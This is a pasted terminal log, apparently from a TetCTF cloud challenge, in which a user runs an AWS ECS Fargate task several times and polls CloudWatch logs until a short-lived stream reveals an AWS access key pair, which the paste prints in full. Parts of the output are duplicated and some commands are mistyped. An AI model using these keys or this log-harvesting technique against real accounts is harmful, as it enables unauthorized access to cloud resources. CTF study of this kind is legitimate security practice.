Advertisement
Guest User

run-task-get-log-event

a guest
Feb 2nd, 2024
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.33 KB | None | 0 0
  1. // get log in normal situation
  2. ┌──(kali㉿kali)-[~]
  3. └─$ aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro
  4. {
  5. "logStreams": []
  6. }
  7.  
  8. // run a new ecs task
  9.  
  10. ┌──(kali㉿kali)-[~]
  11. └─$ aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 \
  12. --cluster CtfEcsCluster \
  13. --network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7],assignPublicIp=ENABLED}" \
  14. --launch-type FARGATE --profile micro
  15. {
  16. "tasks": [
  17. {
  18. "attachments": [
  19. {
  20. "id": "eaa143fe-2ad3-4309-82a1-5ffd20d9d2dd",
  21. "type": "ElasticNetworkInterface",
  22. "status": "PRECREATED",
  23. "details": [
  24. {
  25. "name": "subnetId",
  26. "value": "subnet-05dc4f12caf437c48"
  27. }
  28. ]
  29. }
  30. ],
  31. "attributes": [
  32. {
  33. "name": "ecs.cpu-architecture",
  34. "value": "x86_64"
  35. }
  36. ],
  37. "availabilityZone": "eu-west-2a",
  38. "clusterArn": "arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster",
  39. "containers": [
  40. {
  41. "containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/5c39af9a4dd14e5fa5fcdda4fc8847da/ef1e135b-a5c5-4408-915d-9d5dcf37f8ca",
  42. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/5c39af9a4dd14e5fa5fcdda4fc8847da",
  43. "name": "CtfContainer",
  44. "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
  45. "lastStatus": "PENDING",
  46. "networkInterfaces": [],
  47. "cpu": "0"
  48. }
  49. ],
  50. "cpu": "1024",
  51. "createdAt": "2024-02-02T17:33:46.612000-05:00",
  52. "desiredStatus": "RUNNING",
  53. "enableExecuteCommand": false,
  54. "group": "family:TetCtf2StackCtfTaskDefB40F186A",
  55. "lastStatus": "PROVISIONING",
  56. "launchType": "FARGATE",
  57. "memory": "2048",
  58. "overrides": {
  59. "containerOverrides": [
  60. {
  61. "name": "CtfContainer"
  62. }
  63. ],
  64. "inferenceAcceleratorOverrides": []
  65. },
  66. "platformVersion": "1.4.0",
  67. "platformFamily": "Linux",
  68. "tags": [],
  69. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/5c39af9a4dd14e5fa5fcdda4fc8847da",
  70. "taskDefinitionArn": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
  71. "version": 1,
  72. "ephemeralStorage": {
  73. "sizeInGiB": 20
  74. }
  75. }
  76. ],
  77. "failures": []
  78. }
  79. "type": "ElasticNetworkInterface",
  80. "status": "PRECREATED",
  81. "details": [
  82. {
  83. "name": "subnetId",
  84. "value": "subnet-05dc4f12caf437c48"
  85. }
  86. ]
  87. }
  88. ],
  89. "attributes": [
  90. {
  91. "name": "ecs.cpu-architecture",
  92. "value": "x86_64"
  93. }
  94. ],
  95. "availabilityZone": "eu-west-2a",
  96. "clusterArn": "arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster",
  97. "containers": [
  98. {
  99. "containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/5c39af9a4dd14e5fa5fcdda4fc8847da/ef1e135b-a5c5-4408-915d-9d5dcf37f8ca",
  100. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/5c39af9a4dd14e5fa5fcdda4fc8847da",
  101. "name": "CtfContainer",
  102. "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
  103. "lastStatus": "PENDING",
  104. "networkInterfaces": [],
  105. "cpu": "0"
  106. }
  107. ],
  108. "cpu": "1024",
  109. "createdAt": "2024-02-02T17:33:46.612000-05:00",
  110. "desiredStatus": "RUNNING",
  111. "enableExecuteCommand": false,
  112. "group": "family:TetCtf2StackCtfTaskDefB40F186A",
  113. "lastStatus": "PROVISIONING",
  114. "launchType": "FARGATE",
  115. "memory": "2048",
  116. "overrides": {
  117. "containerOverrides": [
  118. {
  119. "name": "CtfContainer"
  120. }
  121. ],
  122. "inferenceAcceleratorOverrides": []
  123. },
  124. "platformVersion": "1.4.0",
  125. "platformFamily": "Linux",
  126. "tags": [],
  127. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/5c39af9a4dd14e5fa5fcdda4fc8847da",
  128. "taskDefinitionArn": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
  129. "version": 1,
  130. "ephemeralStorage": {
  131. "sizeInGiB": 20
  132. }
  133. }
  134. ],
  135. "failures": []
  136. }
  137. (END)
  138.  
  139. // 10 seconds later...
  140.  
  141. ┌──(kali㉿kali)-[~]
  142. aws ecs logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro
  143. {
  144. "logStreams": [
  145. {
  146. "logStreamName": "CtfContainer/CtfContainer/5c39af9a4dd14e5fa5fcdda4fc8847da",
  147. "creationTime": 1706913240041,
  148. "arn": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:log-stream:CtfContainer/CtfContainer/5c39af9a4dd14e5fa5fcdda4fc8847da",
  149. "storedBytes": 0
  150. }
  151. ]
  152. }
  153.  
  154. // 30 seconds later...
  155.  
  156. ┌──(kali㉿kali)-[~]
  157. └─$ aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro
  158. {
  159. "logStreams": [
  160. {
  161. "logStreamName": "CtfContainer/CtfContainer/5c39af9a4dd14e5fa5fcdda4fc8847da",
  162. "creationTime": 1706913240041,
  163. "firstEventTimestamp": 1706913244548,
  164. "lastEventTimestamp": 1706913244548,
  165. "lastIngestionTime": 1706913249542,
  166. "uploadSequenceToken": "49039859576585321134897737079687745927143015709857520858",
  167. "arn": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:log-stream:CtfContainer/CtfContainer/5c39af9a4dd14e5fa5fcdda4fc8847da",
  168. "storedBytes": 0
  169. }
  170. ]
  171. }
  172.  
  173. // 2 minutes later
  174.  
  175. ┌──(kali㉿kali)-[~]
  176. └─$ aws ecs logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro
  177. {
  178. "logStreams": []
  179. }
  180.  
  181. // another run task session
  182.  
  183. ┌──(kali㉿kali)-[~]
  184. └─$ aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 \
  185. --cluster CtfEcsCluster \
  186. --network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7],assignPublicIp=ENABLED}" \
  187. --launch-type FARGATE --profile micro
  188. {
  189. "tasks": [
  190. {
  191. "attachments": [
  192. {
  193. "id": "4f72f90b-84b2-4c36-bcdf-67e8588f24fc",
  194. "type": "ElasticNetworkInterface",
  195. "status": "PRECREATED",
  196. "details": [
  197. {
  198. "name": "subnetId",
  199. "value": "subnet-05dc4f12caf437c48"
  200. }
  201. ]
  202. }
  203. ],
  204. "attributes": [
  205. {
  206. "name": "ecs.cpu-architecture",
  207. "value": "x86_64"
  208. }
  209. ],
  210. "availabilityZone": "eu-west-2a",
  211. "clusterArn": "arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster",
  212. "containers": [
  213. {
  214. "containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/fa248d30051342d08bebceb40c1495d5/8a0eabf2-4c55-472d-90c0-b82bfe92e679",
  215. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/fa248d30051342d08bebceb40c1495d5",
  216. "name": "CtfContainer",
  217. "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
  218. "lastStatus": "PENDING",
  219. "networkInterfaces": [],
  220. "cpu": "0"
  221. }
  222. ],
  223. "cpu": "1024",
  224. "createdAt": "2024-02-02T18:02:55.399000-05:00",
  225. "desiredStatus": "RUNNING",
  226. "enableExecuteCommand": false,
  227. "group": "family:TetCtf2StackCtfTaskDefB40F186A",
  228. "lastStatus": "PROVISIONING",
  229. "launchType": "FARGATE",
  230. "memory": "2048",
  231. "overrides": {
  232. "containerOverrides": [
  233. {
  234. "name": "CtfContainer"
  235. }
  236. ],
  237. "inferenceAcceleratorOverrides": []
  238. },
  239. "platformVersion": "1.4.0",
  240. "platformFamily": "Linux",
  241. "tags": [],
  242. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/fa248d30051342d08bebceb40c1495d5",
  243. "taskDefinitionArn": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
  244. "version": 1,
  245. "ephemeralStorage": {
  246. "sizeInGiB": 20
  247. }
  248. }
  249. ],
  250. "failures": []
  251. }
  252. "type": "ElasticNetworkInterface",
  253. "status": "PRECREATED",
  254. "details": [
  255. {
  256. "name": "subnetId",
  257. "value": "subnet-05dc4f12caf437c48"
  258. }
  259. ]
  260. }
  261. ],
  262. "attributes": [
  263. {
  264. "name": "ecs.cpu-architecture",
  265. "value": "x86_64"
  266. }
  267. ],
  268. "availabilityZone": "eu-west-2a",
  269. "clusterArn": "arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster",
  270. "containers": [
  271. {
  272. "containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/fa248d30051342d08bebceb40c1495d5/8a0eabf2-4c55-472d-90c0-b82bfe92e679",
  273. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/fa248d30051342d08bebceb40c1495d5",
  274. "name": "CtfContainer",
  275. "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
  276. "lastStatus": "PENDING",
  277. "networkInterfaces": [],
  278. "cpu": "0"
  279. }
  280. ],
  281. "cpu": "1024",
  282. "createdAt": "2024-02-02T18:02:55.399000-05:00",
  283. "desiredStatus": "RUNNING",
  284. "enableExecuteCommand": false,
  285. "group": "family:TetCtf2StackCtfTaskDefB40F186A",
  286. "lastStatus": "PROVISIONING",
  287. "launchType": "FARGATE",
  288. "memory": "2048",
  289. "overrides": {
  290. "containerOverrides": [
  291. {
  292. "name": "CtfContainer"
  293. }
  294. ],
  295. "inferenceAcceleratorOverrides": []
  296. },
  297. "platformVersion": "1.4.0",
  298. "platformFamily": "Linux",
  299. "tags": [],
  300. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/fa248d30051342d08bebceb40c1495d5",
  301. "taskDefinitionArn": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
  302. "version": 1,
  303. "ephemeralStorage": {
  304. "sizeInGiB": 20
  305. }
  306. }
  307. ],
  308. "failures": []
  309. }
  310. (END)
  311.  
  312. // 10 seconds later
  313.  
  314. ┌──(kali㉿kali)-[~]
  315. aws aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro
  316.  
  317. {
  318. "logStreams": [
  319. {
  320. "logStreamName": "CtfContainer/CtfContainer/fa248d30051342d08bebceb40c1495d5",
  321. "creationTime": 1706914990352,
  322. "arn": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:log-stream:CtfContainer/CtfContainer/fa248d30051342d08bebceb40c1495d5",
  323. "storedBytes": 0
  324. }
  325. ]
  326. }
  327.  
  328. // 30 seconds later
  329.  
  330. ┌──(kali㉿kali)-[~]
  331. └─$ aws logs get-log-events --log-group-name /ecs/tet-ctf --log-stream-name "CtfContainer/CtfContainer/fa248d30051342d08bebceb40c1495d5" --profile micro
  332. {
  333. "events": [
  334. {
  335. "timestamp": 1706914995048,
  336. "message": "$AKIAX473H4JB5FPBCMGX$ieLKiXVvNsZu3vfTEl9N6WDl2UKTnEJx2ZvTiN/E",
  337. "ingestionTime": 1706915000042
  338. }
  339. ],
  340. "nextForwardToken": "f/38065476380116608378574328373911050147213548349805428736/s",
  341. "nextBackwardToken": "b/38065476380116608378574328373911050147213548349805428736/s"
  342. }
  343.  
  344. // 2 minutes later
  345.  
  346. ┌──(kali㉿kali)-[~]
  347. └─$ aws logs get-log-events --log-group-name /ecs/tet-ctf --log-stream-name "CtfContainer/CtfContainer/fa248d30051342d08bebceb40c1495d5" --profile micro
  348.  
  349. An error occurred (ResourceNotFoundException) when calling the GetLogEvents operation: The specified log stream does not exist.
  350.  
  351. // 2 minutes 30 seconds later
  352.  
  353. ┌──(kali㉿kali)-[~]
  354. └─$ aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro
  355. {
  356. "logStreams": []
  357. }
  358.  
  359. // again another run-task session
  360.  
  361. ┌──(kali㉿kali)-[~]
  362. └─$ aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 \
  363. --cluster CtfEcsCluster \
  364. --network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7],assignPublicIp=ENABLED}" \
  365. --launch-type FARGATE --profile micro
  366. {
  367. "tasks": [
  368. {
  369. "attachments": [
  370. {
  371. "id": "92cd7d19-6b32-46ab-a8b6-20984066c906",
  372. "type": "ElasticNetworkInterface",
  373. "status": "PRECREATED",
  374. "details": [
  375. {
  376. "name": "subnetId",
  377. "value": "subnet-05dc4f12caf437c48"
  378. }
  379. ]
  380. }
  381. ],
  382. "attributes": [
  383. {
  384. "name": "ecs.cpu-architecture",
  385. "value": "x86_64"
  386. }
  387. ],
  388. "availabilityZone": "eu-west-2a",
  389. "clusterArn": "arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster",
  390. "containers": [
  391. {
  392. "containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/8bf5932232ac47908114159dfac0b23c/35594818-b9be-4123-b912-6ce6956e7599",
  393. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/8bf5932232ac47908114159dfac0b23c",
  394. "name": "CtfContainer",
  395. "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
  396. "lastStatus": "PENDING",
  397. "networkInterfaces": [],
  398. "cpu": "0"
  399. }
  400. ],
  401. "cpu": "1024",
  402. "createdAt": "2024-02-02T18:08:31.350000-05:00",
  403. "desiredStatus": "RUNNING",
  404. "enableExecuteCommand": false,
  405. "group": "family:TetCtf2StackCtfTaskDefB40F186A",
  406. "lastStatus": "PROVISIONING",
  407. "launchType": "FARGATE",
  408. "memory": "2048",
  409. "overrides": {
  410. "containerOverrides": [
  411. {
  412. "name": "CtfContainer"
  413. }
  414. ],
  415. "inferenceAcceleratorOverrides": []
  416. },
  417. "platformVersion": "1.4.0",
  418. "platformFamily": "Linux",
  419. "tags": [],
  420. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/8bf5932232ac47908114159dfac0b23c",
  421. "taskDefinitionArn": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
  422. "version": 1,
  423. "ephemeralStorage": {
  424. "sizeInGiB": 20
  425. }
  426. }
  427. ],
  428. "failures": []
  429. }
  430. "type": "ElasticNetworkInterface",
  431. "status": "PRECREATED",
  432. "details": [
  433. {
  434. "name": "subnetId",
  435. "value": "subnet-05dc4f12caf437c48"
  436. }
  437. ]
  438. }
  439. ],
  440. "attributes": [
  441. {
  442. "name": "ecs.cpu-architecture",
  443. "value": "x86_64"
  444. }
  445. ],
  446. "availabilityZone": "eu-west-2a",
  447. "clusterArn": "arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster",
  448. "containers": [
  449. {
  450. "containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/8bf5932232ac47908114159dfac0b23c/35594818-b9be-4123-b912-6ce6956e7599",
  451. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/8bf5932232ac47908114159dfac0b23c",
  452. "name": "CtfContainer",
  453. "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
  454. "lastStatus": "PENDING",
  455. "networkInterfaces": [],
  456. "cpu": "0"
  457. }
  458. ],
  459. "cpu": "1024",
  460. "createdAt": "2024-02-02T18:08:31.350000-05:00",
  461. "desiredStatus": "RUNNING",
  462. "enableExecuteCommand": false,
  463. "group": "family:TetCtf2StackCtfTaskDefB40F186A",
  464. "lastStatus": "PROVISIONING",
  465. "launchType": "FARGATE",
  466. "memory": "2048",
  467. "overrides": {
  468. "containerOverrides": [
  469. {
  470. "name": "CtfContainer"
  471. }
  472. ],
  473. "inferenceAcceleratorOverrides": []
  474. },
  475. "platformVersion": "1.4.0",
  476. "platformFamily": "Linux",
  477. "tags": [],
  478. "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/8bf5932232ac47908114159dfac0b23c",
  479. "taskDefinitionArn": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
  480. "version": 1,
  481. "ephemeralStorage": {
  482. "sizeInGiB": 20
  483. }
  484. }
  485. ],
  486. "failures": []
  487. }
  488. (END)
  489.  
  490. ┌──(kali㉿kali)-[~]
  491. └─$ aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro
  492. {
  493. "logStreams": [
  494. {
  495. "logStreamName": "CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c",
  496. "creationTime": 1706915324827,
  497. "firstEventTimestamp": 1706915329640,
  498. "lastEventTimestamp": 1706915329640,
  499. "lastIngestionTime": 1706915334631,
  500. "uploadSequenceToken": "49039859576588092693570240962185597029341672077744578231",
  501. "arn": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:log-stream:CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c",
  502. "storedBytes": 0
  503. }
  504. ]
  505. }
  506.  
  507. ┌──(kali㉿kali)-[~]
  508. └─$ aws logs get-log-events --log-group-name /ecs/tet-ctf --log-stream-name "CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c" --profile micro
  509. {
  510. "events": [
  511. {
  512. "timestamp": 1706915329640,
  513. "message": "$AKIAX473H4JB5FPBCMGX$ieLKiXVvNsZu3vfTEl9N6WDl2UKTnEJx2ZvTiN/E",
  514. "ingestionTime": 1706915334631
  515. }
  516. ],
  517. "nextForwardToken": "f/38065483841767545845332586951123638684732042983307542528/s",
  518. "nextBackwardToken": "b/38065483841767545845332586951123638684732042983307542528/s"
  519. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement